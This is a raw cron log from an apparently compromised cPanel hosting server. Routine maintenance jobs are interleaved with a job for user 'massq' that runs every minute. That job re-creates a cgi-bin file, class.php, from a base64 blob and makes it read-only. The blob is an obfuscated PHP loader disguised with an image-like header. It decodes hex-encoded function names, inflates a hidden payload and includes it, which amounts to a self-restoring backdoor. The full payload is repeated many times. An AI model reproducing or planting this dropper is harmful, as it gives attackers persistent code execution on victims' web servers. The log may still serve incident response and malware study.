Sep  4 19:15:01 server CROND[20800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:15:01 server CROND[20802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:15:01 server CROND[20801]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 19:15:01 server CROND[20797]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:15:01 server CROND[20799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:16:01 server CROND[21686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:16:01 server CROND[21687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:16:01 server CROND[21685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:17:01 server CROND[22104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:17:01 server CROND[22106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:17:01 server CROND[22105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:18:01 server CROND[22540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:18:01 server CROND[22541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:18:01 server CROND[22542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:19:01 server CROND[23084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:19:01 server CROND[23085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:19:01 server CROND[23086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:20:01 server CROND[23554]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:20:01 server CROND[23555]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 19:20:01 server CROND[23559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:20:01 server CROND[23561]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:20:01 server CROND[23562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:20:01 server CROND[23564]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:20:01 server CROND[23565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:20:01 server CROND[23568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:20:01 server CROND[23563]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:21:01 server CROND[24417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:21:01 server CROND[24418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:21:01 server CROND[24425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:22:01 server CROND[24824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:22:01 server CROND[24825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:22:01 server CROND[24826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:23:01 server CROND[25214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:23:01 server CROND[25215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:23:01 server CROND[25216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:24:01 server CROND[25616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:24:01 server CROND[25617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:24:01 server CROND[25618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:25:01 server CROND[26094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:25:01 server CROND[26096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:25:01 server CROND[26098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:25:01 server CROND[26099]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:25:01 server CROND[26100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:25:01 server CROND[26102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:25:01 server CROND[26101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:26:01 server CROND[26942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:26:01 server CROND[26943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:26:01 server CROND[26941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:27:01 server CROND[27333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:27:01 server CROND[27335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
